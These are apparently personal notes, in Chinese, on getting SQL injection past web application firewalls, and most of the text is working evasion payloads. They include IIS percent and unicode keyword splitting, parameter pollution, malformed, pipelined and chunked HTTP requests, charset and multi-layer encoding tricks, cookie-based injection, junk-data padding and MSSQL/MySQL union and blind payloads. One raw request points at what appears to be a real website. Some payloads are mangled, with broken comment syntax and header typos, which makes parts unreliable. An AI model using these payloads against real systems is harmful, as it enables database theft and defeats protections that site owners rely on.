bypass waf相关
基本上bypass waf存在以下4种特性的绕过,如果你能熟悉每种产品的特性,那么就无敌了、
- Web容器的特性
- Web应用层的问题
- WAF自身的问题(本次LIVE重点)
- 数据库的一些特性
2、绕过的时候,可以使用post传get包
POST /aboutus.php?classid=35/**/and/**/1=2 HTTP/1.1
Host: pjhqy.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
下面记得有两个回车,这样才是一个正常的Post包
3、函数分割之间可以加注释或者换行
concat//()
information_schema//./**/TABLES
information_schema%0a.%0aTABLES
[
](https://blog.csdn.net/qq_23936389/article/details/81256020)
WEB容器-中间件的特性绕过
1、iis+asp的特性可以进行组合绕过
在关键词中间添加%
例如s%elect
在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为%的分隔,
无法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。
这个特性仅在iis+asp上 asp.net/aspx环境并不存在。
旧版本yxlink可绕
2、unicode编码 IIS中间件可识别
利用unicode编码,先转成\形式,然后再进行替换,这样浏览器找的时候,先会进行一层Url解码,最后拼接到数据库的时候,就还原成原来的了
<\u003E
1 union all %u0053elect 1,2,3,4 %u0066rom admin 是可以成功被解析的
http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
s%u0065lect->select
s%u00f0lect->select
也正因为这个特性在iis里,因此在使用aspx的时候可以尝试使用该方法bypass,例如yxlink
这里对waf解码unicode的过程进行猜测
寻找百分号 -> 判断百分号及其所带字符是否符合unicode编码格式(%u000a) -> 符合则直接进行编码
很明显这里waf忽略了检测符合编码的字符是否能成功解码的过程
那么传入的payload: 【union--%u+回车+select】 在waf的此流程下则被编码为:
【union --被waf错认为可解码的unicode编码ect】 很显然waf将 【%u+回车+sel】这个"符合"unicode编码规则的字符串进行了错误解码
导致最终输出的payload在waf看来显然没有危险,从而造成了bypass
3、http参数污染
show_user.aspx?id=5 union select+1,2,3+from+users+where+id=1—
select…from…而会被WAF成功拦截。但是如果换成HPP的方式:
show_user.aspx?id=5 union select+1&id=2&id=3+from+users+where+id=1—
4、HTTP非RPC2616标准畸形的解析
这种畸形的情况较为少见,基本遇不到,这里仅做个demo
当向服务器发送畸形包时
POST /cms/cms/auth/login
Host: api-gpsc.xx.com.cn
Content-Length: 46
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
{"username":"13333333333","password":"111111"}
PXXX /cms/cms/auth/login
Content-Length: 46
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
{"username":"13333333333","password":"111111"}
畸形字段删除了Hots,也没有HTTP/1.1,也没有正确的METHOD,此时大部分会返回400,但是在某些版本Apache处理请求时,默认将协议返回HTTP/0.9,HOST默认使用Apache的Servername
5、修改http协议为0.9
在大部分网站都使用协议为1.1 或1.0 或2.0或0.+此时我们更改协议为高版本或低版本,因为waf可能不支持具体的协议,而后台的中间件支持。
6.1、分块+协议未覆盖绕过
先这样选择mutipart,在chunk
这种格式还可以进行二次修改,如删除掉form-data,或者改成form+data等,这里可以参考文件上传的Tips。
在HTTP协议里,它其实就不算一个完整的请求了,但是后端不严格按照RFC协议来解析,因此产生了歧义进行绕过
6.1 mutipart 的修改
如修改name
Connection: close
Content-Type: multipart/form-data; boundary=————1721837650
Content-Length: 156
—————1721837650
Content-Disposition: form-data; name=”name\”; filename=”;name=’admin’”
Content-Type: image/jpeg
xxxxx
—————1721837650—
这样获取的值最终为admin=xxxxxx
7、畸形包绕过pipeline 一次性发两个包
http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。
先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求
get请求中空格使用%20代替,Connection改为keep-alive,这是发送多个包的必要步骤
点击burp中Repeater,在下拉选项中取消update Content-Length选中。
POST /sqlinject.php Http/1.0
Host:127001
User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
Firefox/65.0
Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
Accept-Language: en-US,en:q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection:keep-alive
Upgrade-Insecure-Requests: 1
id=1post/sqlinjeCt.php Http/1.0
Host:127.00.1
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
Firefox/65.0
Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
Accept-Language: en-US, en, q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
pgrade-Insecure-Requests: 1
d=l and 1=1
8、修改编码方式:Charset绕过
原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037。
字段为:Accept-Charset: utf-8
9、content-type做文章
Content-Type: application/x-www-form-urlencoded xxxxxxxxx添加任意字符串
Web服务器解析问题导致绕过
1、多重编码
如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过。
http://test.com/1.asp?id=123%2520and%25201=1
%25 ======= % id=123%20and%201=1
%20 ======= 空格 id=123 and 1=1
但是大部分的Web服务是不支持这样解析的
2、将GET-POST换成COOKIE
在asp和ASP.NET里获取参数的代码如下
id=request("id")
id.request.params("id")
请求默认解析 GET>POST>COOKIE
这样对于某些WAF来说,如果仅检查了GET或POST的,那么来自Cookie的注入攻击就无能为力了,
WAF自身问题导致绕过
1、缓冲区溢出绕过
select * from ins_user where user_id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select 1,2,database(),4—
2、垃圾数据等
总结就是:无需多言,post大量垃圾数据
3、数据清洗不完善
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为
举例:
http://localhost/test/Article.php?id=9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
某些WAF会将语句
9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
清洗为:
9999-"" from mysql.user 然后去检测是否有攻击特征,
如果没有,执行原始语句:
9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
分块chunk
特性绕过
其他
1、在nginx&apache环境下,可能会省略index.php文件,因此可以尝试
访问xxxxx.cn/test/index.php?text=
可以换成访问xxxxx.cn/test/?text=
2、json格式下的waf bypass
https://xz.aliyun.com/t/306
%20 %2B \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B 在JSON包里可以代替空格
在json中 \/\/ ====》 //
在json格式中 直接单引号会引发解析错误,因此需要使用unicode编码(UTF-16)来进行单引号\u0027
4、利用make_set代替select
select from ins_user where user_id=-11/!50000//!14400-updatexMl
/(1,/!12345maKe_set
*/(3,0x7e,(database())),1)
5、盲注函数被过滤
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
一些常规的方式
用char来绕过一些
admin’ AND 6040 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6040=6040) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(112)+CHAR(113)))—
一些特殊字符 %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
科学(0E)和十六进制(0x)表示法:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
在From和列名之间使用句号代替空格:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N分隔符:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
asp/asp.net:
asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。
16、等
https://xz.aliyun.com/t/8513#toc-6
https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html
https://xz.aliyun.com/t/9268?page=1
https://blog.csdn.net/qq_23936389/article/details/81256020